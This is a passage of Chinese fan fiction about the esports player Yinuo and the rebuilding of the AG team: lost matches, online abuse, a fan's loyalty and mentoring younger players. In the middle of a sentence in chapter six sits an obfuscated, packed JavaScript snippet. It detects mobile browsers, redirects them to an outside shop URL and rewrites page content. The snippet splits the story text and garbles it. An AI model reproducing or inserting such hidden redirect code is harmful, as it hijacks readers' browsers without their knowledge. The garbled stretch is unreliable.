雨雨的老夫子闪现开团,大招捆住六点六的猪八戒。刺痛的公孙离进场输出,但被老帅的沈梦溪大招逼退。 混乱中,徐必成的狄仁杰冷静地点杀前排。他的输出不高,但每一次都打在关键的人身上。 “Double Kill!” 狄仁杰拿下双杀。 AG打出1换4,拿下主宰,一波推平水晶。 1:0。 “赢了!”爱思激动地喊道。 徐必成摘掉耳机,能听到全场观众的欢呼。但他很平静,只是喝了口水,等待下一局。 第二局,RNG.M调整战术,疯狂针对下路。但徐必成依然稳健发育,该让的资源就让,该打的输出就打。 这一局,carry的是七年。他的马超在边路杀穿,团战七进七出,拿下四杀。 2:0。 第三局,RNG.M背水一战,拿出大乔体系。但AG的应对更胜一筹,不断抓单,不断推塔。 最终,AG 3:0 横扫RNG.M,锁定季后赛名额。 比赛结束,徐必成站起身,和队友拥抱。 他的数据不亮眼:场均输出22%,场均承伤18%,没有一局MVP。 但没有人质疑他的作用。 赛后采访,记者问徐必成:“替补两周后回归,感觉有什么不同?” 徐必成想了想,说:“学会了怎么赢——不是一个人赢,是五个人一起赢。” 记者追问:“那射手在这个版本……” “版本很重要,但更重要的是,你想怎么打。”徐必成看着镜头,“如果你只想carry,那版本会让你很难受。但如果你想赢,总会有办法。” 采访结束,徐必成回到后台。 月光走过来,拍拍他肩膀:“打得不错。” “谢谢教练。” “不是谢我,是谢你自己。”月光说,“你找到了新的赢法。” 徐必成点头。 他确实找到了。 不是放弃carry,而是理解了——carry有很多种方式。有时候是秀操作,有时候是稳发育,有时候是让经济,有时候是保队友。 电竞是五个人的游戏。 而他,终于真正理解了这句话。 --- 深夜,训练室。 徐必成没有复盘比赛,而是在看二队的训练赛录像。 画面里,长生的不知火舞又一次完美进场,大帅的鬼谷子又一次神级开团,钟意的裴擒虎又一次掌控节奏,轩染的关羽又一次切到C位。 这五个少年,正在以惊人的速度成长。 手机震动,是Cat发来的消息:“看了比赛,打得很好。” “谢谢Cat哥。” “听说你们二队有几个好苗子?” “嗯,中单长生,辅助大帅,打野钟意,边路轩染——都很有潜力。” “好好带他们。”Cat说,“冠军会传承,但传承的不是奖杯,是精神。” 徐必成盯着那句话,若有所思。 传承。 这个词,他突然理解了。 关掉手机,他看向窗外。 夜色深沉,但远处有光。 那光或许还很微弱,但正在慢慢变亮。 就像他,就像AG,就像那些还在追梦的少年。 长夜终会过去。 而他们,会在黎明时分,继续前行。 【第五章·完】 6. 破碎与重建 2020年9月,成都AG超玩会基地 雷雨在凌晨两点准时造访成都。 暴雨砸在训练室的玻璃窗上,发出密集的鼓点声。闪电不时撕裂夜空,瞬间照亮房间里的一切——五台电脑,散落的键盘,贴在墙上的战术图,还有坐在电脑前那个单薄的身影。 徐必成盯着屏幕,但不是在看游戏。 屏幕上是一张被恶意P过的照片。照片里他的脸被扭曲成诡异的笑容,背景是AG基地,但大门上被人用红色字体写满了污言秽语。这张图在贴吧、微博、虎扑疯传,配文:“冠军射手?就这?” 这不是第一次了。 春季赛结束后,AG虽然勉强挤进季后赛,但首轮就被DYG 4:1横扫出局。冠军战队第二年无缘四强,舆论彻底爆炸。月光下课,新教练Dgc上任,老帅宣布退役,六点六和爱思转会,七年转型打野…… AG超玩会,曾经的冠军之师,在一个夏天分崩离析。 而徐必成,成了唯一留下来的老将。 “重建核心”——俱乐部是这么定义的。新的赛季,新的阵容,新的教练组,一切都围绕他展开。 压力像山一样压下来。 手机在桌面上震动,屏幕亮起,是妈妈打来的电话。徐必成盯着那个名字看了三秒,按了静音。 他不想接。 三天前,有人把他家的地址扒了出来。一群自称“AG真爱粉”的人,凌晨去他家楼下喊口号:“一诺滚出AG!”“还我冠军战队!” 妈妈在电话里哭着说:“儿子,要不别打了……回家吧。” 回家? 徐必成闭上眼睛。他能回哪里去?高中辍学,除了打游戏什么都不会。回家,然后呢?当主播?开小店?还是像父母期望的那样,找个厂上班? 他做不到。 不是因为骄傲,是因为不甘。 他还没输够,还没输到心服口服。 屏幕上的恶意图片还在闪烁。徐必成移动鼠标,点开微博。私信箱已经爆满,最新的一条来自一个陌生ID:“你怎么还不去死?” 他面无表情地截图,保存,然后关掉网页。 窗外的雨更大了。 --- 同一时间,上海某大学宿舍。 林晓晓盯着手机屏幕,手指在颤抖。 屏幕上是一诺超话的界面,但已经完全变了样。曾经的战术讨论、操作分析、加油打气,现在被各种恶意帖子淹没: “一诺就是AG的毒瘤” “转会吧,别耽误俱乐部了” “看他比赛就想吐” 她一条条翻过去,眼眶发热。 开学了,她考上了上海的一所大学,电竞社是她第一个加入的社团。社长是个大四学长,知道她喜欢AG后,笑着说:“现在还敢喜欢AG的,都是真爱。” 确实是真爱。 春季赛结束后,AG粉丝群体经历了剧烈分化。一部分人跟着老帅、六点六、爱思走了,一部分人宣布脱粉,剩下的则在争吵和内耗中逐渐沉默。 只有像林晓晓这样的人,还在坚持。 但坚持越来越难了。 她点开一诺的最新微博——那是一条很普通的训练日常照,配文:“新赛季,新开始。” 评论已经三万条,热评第一是:“新开始?又要开始坑队友了?” 点赞数:2.1万。 林晓晓咬着嘴唇,在下面回复:“加油,我们相信你。” 点击发送。 几乎立刻,她的评论被淹没在辱骂的海洋里。有人@她:“脑残粉又来洗地了?” 她关掉手机,躺在床上。 窗外的上海也在下雨,雨声和成都的雨声似乎没有什么不同。但两座城市之间的距离,像是隔着一整个赛季的失望。 手机震动,是电竞社的微信群。社长在组织线下观赛活动:“这周六AG打Estar,有人去吗?” 群里沉默了几秒,然后有人回复: “AG现在还有人看?” “去看一诺怎么送吗?” “Estar稳赢,没悬念” 林晓晓盯着屏幕,手指悬在键盘上。她想说“我去”,但打出来的字又删掉了。 最后,她私聊社长:“学长,我去。” 社长很快回复:“好。不过……做好心理准备,可能没几个人。” “没关系。” 关掉手机,林晓晓看着天花板。 她想起去年秋天,那个在宿舍偷偷看总决赛的夜晚。公孙离一推四,她激动得跳起来。 那时的AG是光,一诺是光。 而现在呢? 光还在吗? --- 周六,上海某电竞酒吧。 能容纳两百人的场地,只坐了不到五十人。大部分是Estar的粉丝,举着Cat的应援牌,兴高采烈地讨论着即将开始的比赛。 AG的应援区在角落,只有稀稀拉拉十几个人。林晓晓坐在第一排,手里拿着连夜赶制的手幅——上面画着Q版的一诺,旁边写着“徐必成,加油”。 字写得不好看,画也歪歪扭扭,但这是她唯一能做的。 “你是AG粉?”旁边传来声音。 林晓晓转头,看到一个三十岁左右的女人,短发,戴着眼镜,气质干练。她手里也拿着AG的应援物,但很简洁,只是一张打印的AG队徽。 “嗯。”林晓晓点头。 “我也是。”女人笑了笑,“我叫陈薇,从BA时期就开始看AG了。” “我叫林晓晓。” 两人简单聊了几句。陈薇是在附近工作的白领,今天是请假来的。她说:“我知道现在看AG比赛需要勇气,但……总得有人来。” 林晓晓心里一暖。 比赛开始前,大屏幕上播放选手入场画面。当一诺的脸出现时,Estar的粉丝区发出嘘声,而AG这边,只有零星的加油声。 徐必成坐在选手席上,表情平静得可怕。 他今天打的是发育路,对手是Estar的新人射手。Cat转型辅助后,Estar这个赛季状态火热,目前排在联盟第一。 “BP开始了。”陈薇说。 大屏幕上,AG蓝色方,第一轮禁用了Cat的鲁班大师和盾山。Estar则按掉了孙尚香和马可波罗——依然针对一诺。 “他们根本不把AG放在眼里。”旁边有人说。 确实,Estar的BP很随意,放出了很多版本强势英雄,像是在说:“就算让你们拿最强阵容,也赢不了。” AG一楼抢下公孙离。 当那个头像亮起时,全场哗然。 “还敢拿公孙离?” “版本下水道英雄,一诺真头铁” “坐等被Cat打爆” 徐必成戴上耳机,隔绝了所有声音。 他知道公孙离在这个版本很难打,但他就是想拿。不是固执,不是叛逆,而是——他需要找回那个敢在总决赛上一推四的自己。 那个不畏惧版本,不畏惧舆论,只相信自己操作的自己。 比赛开始。 开局平稳,徐必成的公孙离在发育路稳健补刀。但Cat显然研究透了他——Estar的打野和辅助频繁光顾下路,三分钟就抓死了公孙离一次。 “First Blood!” 系统女声冰冷无情。 “又送一血。”现场传来嘲讽的笑声。 林晓晓握紧了手。 接下来的比赛成了Estar的碾压局。Cat的指挥精准如手术刀,每一次开团都打在AG最难受的时间点。徐必成的公孙离虽然极力操作,但经济落后太多,团战根本活不下来。 十五分钟,AG水晶爆炸。 比分:0:1。 中场休息,大屏幕上播放着刚才比赛的集锦,重点回放了一诺的每一次死亡。解说用遗憾的语气说:“一诺今天状态好像不太好。” 不是状态不好。 是版本不允许,是团队差距,是Cat太了解他了。 徐必成坐在休息室里,低头看着手机。 手腕又开始疼了。不是伤病复发的那种疼,而是一种更深层的、从骨头里透出来的疲惫感。 “第二局怎么打?”新教练Dgc问。 没人回答。 新阵容的五个人——一诺,汤汤,笑影,啊泽,最初——彼此之间还没有建立起足够的信任。训练赛打得磕磕绊绊,正式比赛更是漏洞百出。 “继续拿射手吧。”徐必成说,“给我狄仁杰。” 他想稳一点。 但Estar显然不打算给他稳的机会。第二局,Cat拿出了他最擅长的鬼谷子,配合打野疯狂入侵野区。AG的节奏彻底崩盘,十二分钟就落后了八千经济。 徐必成的狄仁杰在塔下清兵,但Cat的鬼谷子闪现开团,瞬间秒杀。 “You have been slained.” 又一次。 0:2。 第三局,AG已经心态失衡。操作变形,沟通混乱,像一盘散沙。 最终,AG 0:3 被Estar零封。 比赛结束,徐必成站起身,和Estar的队员握手。 轮到Cat时,这个曾经的队友、现在的对手握着他的手,低声说:“赛后等我。” 徐必成点头。 --- 赛后,场馆外的消防通道。 这里远离人群,只有应急灯的微弱光芒。徐必成靠在墙上,听着远处传来的Estar粉丝的欢呼声。 门被推开,Cat走进来。 他换了便服,手里拎着两罐咖啡,递给徐必成一罐。 “谢谢。”徐必成接过,拉开拉环。 两人沉默地喝了几口。通道里很安静,能听到空调外机的嗡鸣声。 “打得很难受吧?”Cat问。 徐必成苦笑:“你看出来了。” “太明显了。”Cat说,“你打得不像你。畏手畏脚,犹豫不决,该上的时候不上,不该上的时候硬上。” “我……”徐必成想说点什么,但发现无话可说。 Cat看着他,眼神复杂:“你知道你现在最大的问题是什么吗?” “什么?” “你太想证明自己了。”Cat说,“你想证明射手还能玩,想证明AG还是强队,想证明你没有变菜。但你越是这样想,就越打不好。” 徐必成握紧咖啡罐,冰凉的金属触感让他清醒了些。 “我刚转型辅助的时候,也这样。”Cat继续说,“所有人都说Cat不行了,Cat老了,Cat该退役了。我想证明他们错了,结果呢?越打越急,越打越差。” “那你是怎么走出来的?” “接受。”Cat说得很简单,“接受自己可能真的不行了,接受版本不适应了,接受新人比我强了。接受这些之后,反而轻松了——反正已经是最差了,还能差到哪里去?” 徐必成愣住。 接受? 接受AG已经不是强队了?接受自己已经不是顶级射手了?接受可能要一直输下去了? “但这很难。”他低声说。 “当然难。”Cat喝光咖啡,把空罐扔进垃圾桶,“但这是唯一的出路。徐必成,你现在背着三座大山:冠军的包袱,舆论的压力,还有你自己的骄傲。不把这些放下,你永远走不出来。” 窗外传来汽车鸣笛声,遥远而模糊。 “Cat哥。”徐必成忽然问,“你后悔打职业吗?” “后悔过。”Cat坦诚,“最艰难的时候,想过退役,想过放弃。但现在回头看,不后悔。因为这就是电竞——有巅峰就有低谷,有荣耀就有谩骂。你想享受掌声,就要承受嘘声。” 他拍了拍徐必成的肩膀:“你还年轻,路还长。现在的低谷,是为了以后更高的山峰。” 说完,他转身准备离开。 “Cat哥。”徐必成叫住他。 Cat回头。 “谢谢你。” Cat笑了,挥挥手,消失在通道尽头。 徐必成一个人站在那里,很久。 --- 回到酒店,徐必成打开手机。 微博已经炸了。热搜前五全是关于AG的: #AG被零封# #一诺状态# #Cat老队友对话# #AG还能进季后赛吗# #月光 Dgc# 点开第一个词条,评论不堪入目。有人做了他的失误集锦,配上嘲讽的BGM,转发过万。 私信箱里,除了辱骂,还有更恶毒的东西——有人给他发了血腥图片,有人诅咒他的家人,有人威胁要在他比赛时扔水瓶。 他一条条看过去,面无表情。 然后,他打开相册,翻到最底部。 那里有一张照片,是2018年刚进BA时拍的。照片里的他穿着BA队服,站在训练室门口,笑得像个孩子。身后是Cat、六点六、小兽他们,所有人都年轻,眼里有光。 那时的他,不知道前路有多少坎坷,不知道会经历多少风雨。 但他很快乐。 纯粹的、因为打游戏而快乐的快乐。 徐必成盯着那张照片看了很久。 然后,他打开微博,开始打字。 不是回应辱骂,不是解释失误,而是——道歉。 “对不起。今天打得很差,让支持AG的人失望了。这个赛季我们确实遇到了很多困难,版本变更,阵容重组,状态起伏。但这不是借口。我会继续努力,无论结果如何,都会拼到最后。谢谢还在支持我们的人。” 点击发送。 几乎是立刻,评论爆炸。 有人嘲讽:“现在知道道歉了?早干嘛去了?” 有人理解:“加油,我们等你回来。” 有人理性分析:“其实今天不是一诺一个人的问题……” 徐必成没有看评论,而是关掉微博,打开微信。 他找到了那个叫“薇风拂晓”的ID,发了一条消息:“谢谢你来现场。抱歉今天打得不好。” 发送。 过了一会儿,对方回复了:“不用道歉。我们都看到了,你尽力了。好好休息,下一场继续加油。” 徐必成盯着那句话,眼眶突然热了。 还有人相信他。 还有人愿意等他。 这就够了。 --- 深夜,训练室。 徐必成没有开灯,只靠着屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028844|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光照亮键盘。他没有打游戏,而是在看Estar今天的比赛录像。 重点看Cat的辅助。 Cat的鬼谷子,每一次开团的时机都精准到可怕。他不是在猜AG的动向,而是在引导AG的动向——用走位逼迫,用视野压迫,用技能试探,最后在AG最难受的时间点发动致命一击。 这就是顶级指挥。 徐必成打开笔记本,开始记录: “Cat开团前30秒,会先在中路露头,给假视野。” “Cat喜欢在暴君刷新前20秒开始做龙坑视野。” “Cat在队友有大招时,开团会特别果断。” 一页,两页,三页…… 他写得很认真,像是在完成某种仪式。 窗外的雨停了,天色开始泛白。 徐必成站起来,活动了一下僵硬的肩膀。他走到窗边,看着黎明前的城市。 街道空旷,路灯还亮着,偶尔有早起的环卫工人推着车走过。整座城市还在沉睡,但他已经醒了。 或者说,他一直没睡。 手机震动,是妈妈发来的消息:“儿子,妈妈看到你发的微博了。别给自己太大压力,健康最重要。无论你做什么决定,妈妈都支持你。” 徐必成盯着那条消息,很久。 然后他回复:“妈,我想再拼一年。就一年。如果还不行,我就回家。” 发送。 几乎是立刻,妈妈回复了:“好。妈妈等你。” 简单的四个字,却让徐必成的眼泪终于落了下来。 他靠着窗,哭了。 不是委屈,不是难过,而是一种释放——把这段时间所有的压力、所有的委屈、所有的不甘,都哭出来。 哭完之后,他洗了把脸,回到电脑前。 天亮了。 新的一天开始了。 而他要做的,不是证明什么,不是回应什么,只是——打好每一场比赛。 仅此而已。 --- 一周后,AG对阵WB.TS。 赛前,徐必成在后台遇到了暖阳。这个年轻的打野是WB.TS的核心,也是联盟的新星。 “诺队。”暖阳主动打招呼。 “暖阳。”徐必成点头。 “今天手下留情啊。”暖阳笑着说。 徐必成也笑了:“你们才是强队,我们尽力打。” 这不是客套,是实话。WB.TS是春季赛冠军,阵容稳定,状态火热。而AG,还在重建的阵痛期。 但徐必成今天状态很好。 不是操作上的好,是心态上的好。他放下了包袱,放下了期待,只是单纯地享受比赛。 BP时,他主动说:“给我虞姬吧。” 虞姬,这个版本并不强势,但有一手二技能物理免疫,生存能力较强。 教练Dgc犹豫了一下,还是同意了。 比赛开始。 徐必成的虞姬在发育路稳健发育。他不追求压制,不追求单杀,只是补刀,做视野,等队友。 暖阳显然不习惯这种对线——他习惯了和一诺激烈换血,习惯了在刀尖上跳舞。但今天,一诺像一堵墙,沉稳,坚实。 “他变了。”暖阳在语音里说。 确实变了。 团战时,徐必成的虞姬站位极其谨慎。该输出的时候输出,该后撤的时候后撤,绝不贪功。虽然AG整体实力不如WB.TS,但打得有来有回。 最终,AG 1:3 输掉了比赛。 但这一场,徐必成的数据很漂亮:场均输出28%,死亡率全场最低,还拿了一局MVP。 赛后采访,记者问:“今天打得很好,是不是状态回来了?” 徐必成想了想,说:“不是状态回来了,是心态调整过来了。现在就是享受比赛,尽力打好每一局。” “享受比赛?”记者追问,“在AG现在这么困难的情况下?” “越是困难,越要享受。”徐必成看着镜头,“因为这才是电竞最真实的样子——有赢有输,有巅峰有低谷。但只要我们还在打,就还有希望。” 采访结束,徐必成回到后台。 教练Dgc拍拍他肩膀:“今天打得很好。” “谢谢教练。” “不是谢我,是你自己走出来了。” 徐必成点头。 他确实走出来了。 从冠军的阴影里,从舆论的漩涡里,从自我怀疑的深渊里。 现在的他,不是2019年那个光芒万丈的冠军射手,也不是2020年那个挣扎迷茫的失意者。 他只是徐必成。 一个还在打职业的选手。 一个还想赢的少年。 这就够了。 --- 深夜,训练室。 徐必成打开直播。不是为了互动,不是为了人气,只是想和那些还在支持他的人说说话。 开播瞬间,弹幕疯狂滚动。有鼓励,有质疑,有期待,也有嘲讽。 徐必成调整了一下摄像头,说:“今天想和大家聊聊天。不训练,不教学,就聊聊天。” 弹幕有人问:“诺队,AG还能进季后赛吗?” 徐必成诚实回答:“很难。我们现在5胜8负,剩下的比赛必须全赢才有希望。但我们会尽力。” “一诺,你后悔留在AG吗?” “不后悔。”徐必成说得很坚定,“AG给了我机会,给了我舞台。现在AG遇到困难,我怎么能走?” “那如果……如果这个赛季真的进不了季后赛呢?” 徐必成沉默了几秒,然后笑了:“那就下个赛季再来。只要我还打,只要AG还在,我们就不会放弃。” 弹幕开始刷屏: “加油!” “我们等你!” “相信AG!” 徐必成看着那些弹幕,心里暖暖的。 直播到一半,有个ID叫“长生不老”的人送了个礼物,然后发了一条付费弹幕:“诺哥,我是长生。今天我们二队赢了训练赛,大帅的辅助开团特别果断,钟意的打野节奏也很好,轩染的边路能抗能打。我们会尽快成长起来,和一队一起赢。” 徐必成愣住了。 长生,大帅,钟意,轩染——二队的那些少年,他们也在努力,也在成长。 他回复:“好,等你们。” 直播结束后,徐必成收到Cat的消息:“看了你今天的比赛和直播,状态不错。” “谢谢Cat哥。” “记住,电竞是长跑。你现在才跑了三分之一。” “我明白。” 关掉手机,徐必成走到窗边。 窗外,成都的夜景很美。万家灯火,每一盏灯下都有一个故事。 而他的故事,还在继续。 也许还会输,也许还会被骂,也许还会经历更深的低谷。 但只要他还在打,只要还有人相信他。 他就不会停下。 黎明前的黑暗最漫长。 但他已经看到了光。 那光很微弱,但很坚定。 就像他,就像AG,就像那些还在追梦的人。 长夜终会过去。 而他们,会在曙光中重生。 【第六章·完】 7. 新生的AG 2021年3月,成都AG超玩会基地 晨雾还未散去,基地外的银杏树刚抽出嫩绿的新芽。春天来得悄无声息,像那些在深夜训练室里悄然发生的变化。 徐必成站在二楼会议室的落地窗前,手里端着已经凉透的咖啡。会议室里坐满了人——俱乐部管理层、教练组、数据分析师,还有五个年轻人。 长生、大帅、钟意、轩染,以及刚从青训提拔上来的射手云黎。 这是2021年KPL春季赛开赛前最后一次战略会议。墙上的白板写满了密密麻麻的战术安排,从BP策略到分路对线,从野区节奏到团战配合,每一个细节都被反复推敲。 “新赛季的目标是什么?”总经理菲菲站在白板前,目光扫过每一个人,“不是冠军,甚至不是季后赛。” 会议室里一片安静。 “我们的目标是,”菲菲顿了顿,“打出AG的精气神。让所有人看到,这支队伍还没有死,还在战斗。” 徐必成转动手里的咖啡杯,杯沿沾着已经凝固的奶沫。他看向坐在对面的四个新人——他们穿着崭新的AG队服,胸前绣着黑红相间的队徽,眼神里有紧张,有期待,还有一种初生牛犊不怕虎的锐气。 长生推了推眼镜,手指在笔记本上无意识地敲击。这个中单少年经过一个休赛期的打磨,已经褪去了青涩,多了几分沉稳。大帅依旧是一张娃娃脸,但眼神里多了辅助位特有的敏锐。钟意坐得笔直,像一柄未出鞘的剑。轩染则安静地看着白板,眉头微蹙,像是在思考什么。 “一诺。”菲菲看向他。 徐必成抬起头。 “你是队长,是这支队伍的灵魂。”菲菲说,“但你要记住,现在的你不是2019年的那个一诺。你不必一个人扛着队伍走,你要学会相信队友。” 徐必成点头:“我明白。” 他确实明白了。经过上个赛季的至暗时刻,他学会了放下——放下冠军包袱,放下领袖的执念,放下必须carry的重担。现在的他,更像一个引路人,一个连接过去与未来的桥梁。 “好。”菲菲在白板上写下今天的主题:“新生”。 --- 同一时间,上海某大学电竞社活动室。 林晓晓盯着电脑屏幕上的赛程表,手指在AG超玩会的名字上停留了很久。 春季赛第一场:AG超玩会 vs 武汉eStarPro。 对手是Cat带领的Estar,上赛季的亚军,这个赛季的夺冠热门。而AG,经历了大换血,五个首发里有四个是新人,唯一的“老将”一诺也才19岁。 “这怎么打啊?”旁边的大二学弟叹了口气,“Estar肯定碾压。” “不一定。”林晓晓说得很轻,但很坚定。 “晓晓姐,你还在粉AG啊?”另一个女生问,“我听说他们训练赛胜率不到30%。” “训练赛不代表什么。”林晓晓关掉赛程表,打开AG的官方微博。 最新一条是定妆照发布。五个人站在黑红背景前,一诺站在中间,两边分别是长生、大帅、钟意、轩染。照片拍得很好,光影勾勒出少年们棱角分明的侧脸。配文:“新赛季,新阵容,新征程。” 评论区已经炸了: “AG凉了,鉴定完毕” “一诺带四个新人?搞笑呢” “Cat打老东家,下手轻点” 但也有人反驳: “给新人一点时间” “相信一诺” “AG加油!” 林晓晓在评论区打下:“新生需要时间,但终会绽放。AG加油。” 点击发送。 手机震动,是陈薇发来的微信:“晓晓,这周六的比赛,我去现场。你呢?” “我也去。”林晓晓回复。 “好,到时候见。” 关掉手机,林晓晓看向窗外。三月的上海,梧桐树刚抽出新叶,阳光透过玻璃洒在桌面上,温暖而明亮。 她想起去年秋天,在那个昏暗的电竞酒吧,只有十几个人的AG应援区。 现在呢? 还会有人去吗? --- 周六,上海KPL电竞中心。 林晓晓和陈薇提前两个小时到场。让她们惊讶的是,AG的应援区坐满了人。虽然不如Estar那边声势浩大,但至少也有七八十人,举着AG的应援牌,穿着AG的队服。 “我以为……”林晓晓话没说完。 “以为没人来?”陈薇笑了,“其实AG的粉丝基数还在,只是之前成绩太差,很多人不愿意说话。现在新赛季开始,大家都想看看这支新AG到底怎么样。” 林晓晓点头,在第二排坐下。她拿出连夜赶制的手幅——这次画的是五个人,一诺在中间,四个新人围在四周。旁边写着:“新生·AG”。 灯光暗下,选手入场。 当AG五人走上舞台时,现场爆发出巨大的欢呼和嘘声的混合体。Estar的粉丝在喊“Cat”,AG的粉丝在喊“一诺”,声音交织在一起,形成一种奇特的声浪。 徐必成走在队伍最前面。他今天穿了新的队服,黑红配色,背后印着“AG.一诺”。他朝观众席挥了挥手,然后戴上耳机,开始调试设备。 导播给了一个特写镜头。屏幕上的他表情平静,眼神专注,完全看不出这是一个带领四个新人的队长。 “新赛季首战,AG迎来大考。”解说李九的声音响起,“Estar是上赛季亚军,Cat的指挥愈发老辣。而AG这边,除了队长一诺,其他四人都是第一次打KPL正赛。” 琪琪接话:“但新人往往能带来惊喜。长生在青训期间就被誉为‘天才中单’,大帅的辅助很有灵性,钟意的打野节奏凶猛,轩染的边路稳如泰山。如果磨合得好,这支AG不容小觑。” BP开始。 Estar蓝色方,第一轮禁用了孙尚香和公孙离——依然是针对一诺。AG则按掉了Cat的鲁班大师和盾山。 “Estar一楼会拿什么?”李九说,“Cat的鬼谷子还在外面。” 但Estar没有拿鬼谷子,而是锁定了澜——版本T0打野。 “挑衅啊。”琪琪笑了,“放给你版本最强打野,看你敢不敢拿。” AG这边,教练Awoke(Dgc已下课,新教练上任)看向钟意:“敢拿吗?” 钟意毫不犹豫:“拿。” 一楼锁定澜。 现场哗然。新人打野,第一场比赛就拿版本T0,对阵的还是Cat带领的Estar——这是何等的自信? “有魄力。”陈薇低声说。 林晓晓握紧了手。 接下来的BP,Estar拿到了Cat最擅长的鬼谷子,搭配中单西施和射手虞姬。AG则补出了长生不知火舞,大帅太乙真人,轩染关羽,一诺马可波罗。 阵容确定。 加载界面,徐必成活动了一下手指。 “紧张吗?”他在语音里问。 “有点。”钟意老实回答。 “正常。”徐必成说,“我第一次打比赛也紧张。但记住,上了场就什么都别想,只想着怎么赢。” “明白。” 游戏开始。 开局,钟意的澜蓝开,正常刷野路线。但Cat显然研究过这个新人——Estar的打野和中辅直接入侵红区,三Buff开局。 “我的红……”钟意声音有点慌。 “没事,让了。”徐必成冷静地说,“你刷完蓝区来抓下,我马可有线权。” “好。” 钟意稳住心态,刷完蓝区后果然往下路走。徐必成的马可波罗用一技能精准消耗,将Estar的虞姬压到半血。 “可以越。”大帅的太乙真人在草丛蓄力。 “等我。”钟意的澜从河道切入。 但就在澜露头的瞬间,Cat的鬼谷子从反方向的草丛闪现出来,二技能拉中澜和太乙真人! “被反蹲了!”李九惊呼。 Estar的中单西施跟上控制,虞姬输出。钟意的澜瞬间残血,交闪现逃生。但大帅的太乙真人被留下,送出一血。 “First Blood!” 开局不利。 “我的。”钟意声音低沉。 “没事,稳住。”徐必成说,“下一波注意视野。” 接下来的几分钟,AG处处被动。Cat的鬼谷子像幽灵一样在野区游荡,每一次出现都伴随着击杀。钟意的澜发育严重受限,经济落后对面打野一千。 八分钟,经济差拉到三千。 “开波团吧。”长生说,“不能再拖了。” “好,我找机会。”轩染的关羽在侧翼游走。 中路河道,双方遭遇。大帅的太乙真人闪现开团,炸到两人。长生的不知火舞一套连招进场,秒掉Estar的西施。 但几乎同时,Cat的鬼谷子从后方切入,拉中AG后排三人!Estar的虞姬跟上输出,瞬间秒掉徐必成的马可波罗。 “一诺倒了!”琪琪喊道。 核心输出阵亡,AG团战溃败。Estar打出1换4,拿下主宰,经济差扩大到五千。 “难了。”李九叹息,“AG的新人还是太年轻,经验不足。” 林晓晓盯着屏幕,手心全是汗。 徐必成的马可波罗复活后,开始拼命发育。他让出中线给长生,自己吃边路线,刷野区,经济慢慢追上来。 但Estar的节奏太好了。Cat的指挥清晰果断,每一次推塔,每一次开龙,都卡在AG最难受的时间点。 十五分钟,Estar带着主宰先锋上高地。 AG五人死守水晶。轩染的关羽绕后进场,一刀劈中三人!长生的不知火舞跟上输出,秒掉虞姬! “可以打!”钟意的澜进场收割。 但Cat的鬼谷子再次展现神级操作——闪现拉中澜和不知火舞,配合队友反打。 “Double Kill!” “Triple Kill!” Estar打出2换4,只剩下徐必成的马可波罗一人守家。 “能守住吗?”李九的声音已经嘶哑。 屏幕前,徐必成的手指在飞快滑动。马可波罗清掉兵线,但Estar还有三人存活。Cat的鬼谷子已经复活,正在赶来。 “一波!”Estar的语音里,Cat冷静地指挥。 三人带着兵线强拆水晶。徐必成的马可波罗在人群中疯狂输出,但终究寡不敌众。 水晶爆炸。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 气氛凝重得能拧出水来。 钟意低着头,手指在颤抖。刚才那局,他被Cat完全压制,节奏全无。长生咬着嘴唇,大帅眼眶发红,轩染沉默地看着地板。 徐必成坐在椅子上,喝了一大口水。 “说说吧,什么问题?”教练Awoke问。 “我的问题。”钟意第一个开口,“我太急了,被Cat看透了。” “我支援慢了。”长生说。 “我开团时机不好。”大帅说。 “我没切到C位。”轩染说。 徐必成听着这些自责,忽然说:“不,是我的问题。” 所有人都看向他。 “我是队长,是队伍里经验最丰富的人。”徐必成站起来,“但我刚才没有指挥,没有带节奏,只是闷头发育。这是我的失职。” 他走到白板前,拿起马克笔:“第二局,我们要改变。” “怎么改变?”钟意问。 “Cat的指挥之所以强,是因为他总能猜到我们在想什么。”徐必成在白板上画着,“那我们就不要让他猜到。打破常规,打乱节奏。” “具体呢?” “钟意,你下一局不要按常规路线刷野。红开,二级直接抓中。长生,你配合钟意,抢完线就进野区。大帅,你游走给假视野。轩染,你边路打得再凶一点,吸引注意力。” “那你呢?”长生问。 “我?”徐必成笑了,“我当诱饵。” 众人愣住。 “Cat一定会继续针对我。”徐必成说,“那我就让他针对。但我不会死,我会拖住他们,给你们创造机会。” “太冒险了。”Awoke皱眉。 “不冒险怎么赢?”徐必成看向教练,“Estar是强队,按常规打法我们赢不了。只有出奇制胜。” Awoke盯着他看了几秒,最后点头:“好。第二局,按一诺说的打。” 休息时间结束,五人重新上场。 导播给了一个镜头特写——徐必成在跟四个新人说着什么,手在空中比划,表情认真而坚定。四个新人认真听着,不时点头。 “AG好像调整过来了。”李九说,“看一诺的表情,很有信心。” 第二局BP开始。 Estar依旧蓝色方,这次禁用了马可波罗和澜。AG则按掉了鬼谷子和西施。 Estar一楼抢下公孙离——刺痛转会Estar后,公孙离依然是他的招牌。 “给我狄仁杰。”徐必成说。 狄仁杰,工具人射手,生存能力强,但carry能力有限。 “你确定?”Awoke问。 “确定。”徐必成点头,“这一局,我不需要carry,只需要活着。” AG阵容:狄仁杰(一诺)、周瑜(长生)、兰陵王(钟意)、张飞(大帅)、吕布(轩染) Estar阵容:公孙离(刺痛)、沈梦溪(Cat)、盘古(花海)、太乙真人(无铭)、马超(诺言) 加载界面,徐必成深呼吸。 “记住计划。”他在语音里说,“钟意,红开二级抓中。长生,抢完线进蓝区。大帅,给下路假视野。轩染,上路打得凶一点。” “明白!” 游戏开始。 钟意的兰陵王红开,二级直接往中路走。长生的周瑜抢完线,假装回塔,实则绕进Estar蓝区。大帅的张飞在下路露了个头,然后消失在视野里。 Estar显然没料到AG会这么打。Cat的沈梦溪还在中路清线,就被钟意的兰陵王二技能标记,长生的周瑜跟上伤害。 “First Blood!” 